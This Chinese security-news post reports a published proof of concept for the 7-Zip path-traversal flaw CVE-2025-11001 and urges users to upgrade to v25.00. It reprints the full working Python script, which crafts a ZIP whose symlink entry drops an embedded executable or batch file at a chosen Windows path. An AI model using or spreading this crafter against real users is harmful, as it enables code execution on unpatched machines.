#安全资讯 研究人员在 GitHub 公布 7-Zip 远程代码执行漏洞的 PoC 概念验证,相关攻击可能很快就会暴增,请立即更新到 7-Zip v25.00 + 版。此前 7-Zip 被爆出高危漏洞,不过漏洞已经在三个月前修复,迟迟没有公布漏洞细节是因为 7-Zip 不具备自动更新功能,提前公布可能会引发安全危机,现在 PoC 公布后攻击必然会大量增长,使用该软件的用户务必立即升级。查看全文:https://ourl.co/110946
早前研究人员公布开源压缩工具 7-Zip 的路径遍历漏洞 ,黑客借助该漏洞可以构造特制的恶意文件诱导用户使用 7-Zip 打开,从而触发漏洞并实现远程代码执行。
这个漏洞早在三个月前发布的 7-Zip v25.00 版中修复,研究人员迟迟没有公布漏洞是因为 7-Zip 不具备自动更新功能,因此漏洞若是提前公布且大量用户未更新的情况下,可能会造成严重的安全威胁。
不过现在已经过去三个月,漏洞被公布的同时,也已经有研究人员在 GitHub 上公布该漏洞的 PoC 概念验证,也就是借助这个概念验证代码可以利用漏洞发起攻击。
因此如果你使用 7-Zip 那么请务必升级到最新版本,按照行业惯例,一旦 PoC 公布那么很快利用漏洞发起的攻击将会呈指数级增长,尤其是 7-Zip 这种不带自动更新的软件,黑客利用率可能还会显著高于其他软件。
当然对于有兴趣的安全研究人员或其他从业人员,也可以通过 PoC 代码来进行测试,学习此类漏洞的利用方法以便未来能够在其他软件审计中带来帮助。
7-Zip v25.00下载地址:https://www.7-zip.org/download.html
概念验证代码:
import argparse import os import time import zipfile def add_dir(z, arcname): if not arcname.endswith('/'): arcname += '/' zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o040755 << 16) | 0x10 zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, b'') def add_symlink(z, arcname, target): zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o120777 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, target.encode('utf-8')) def add_file_from_disk(z, arcname, src_path): with open(src_path, 'rb') as f: payload = f.read() zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o100644 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, payload) def main(): parser = argparse.ArgumentParser( description="Crafts a zip that exploits CVE-2025-11001." ) parser.add_argument( "--zip-out", "-o", required=True, help="Path to the output ZIP file." ) parser.add_argument( "--symlink-target", "-t", required=True, help="Destination path the symlink points to - specify a \"C:\" path" ) parser.add_argument( "--data-file", "-f", required=True, help="Path to the local file to embed e.g an executable or bat script." ) parser.add_argument( "--dir-name", default="data", help="Top-level directory name inside the ZIP (default: data)." ) parser.add_argument( "--link-name", default="link_in", help="Symlink entry name under the top directory (default: link_in)." ) args = parser.parse_args() top_dir = args.dir_name.rstrip("/") link_entry = f"{top_dir}/{args.link_name}" embedded_name = os.path.basename(args.data_file) file_entry = f"{link_entry}/{embedded_name}" with zipfile.ZipFile(args.zip_out, "w") as z: add_dir(z, top_dir) add_symlink(z, link_entry, args.symlink_target) add_file_from_disk(z, file_entry, args.data_file) print(f"Wrote {args.zip_out}") if __name__ == "__main__": main()
via GitHub
蓝点网站长,如果发现本文存在错误或错别字,欢迎在评论区留言,收到消息后我将及时修改。其他事宜请点击本站任意页面底部的「与我们联系」获取邮箱。
2.44W783.50M1.65W10.40M¥30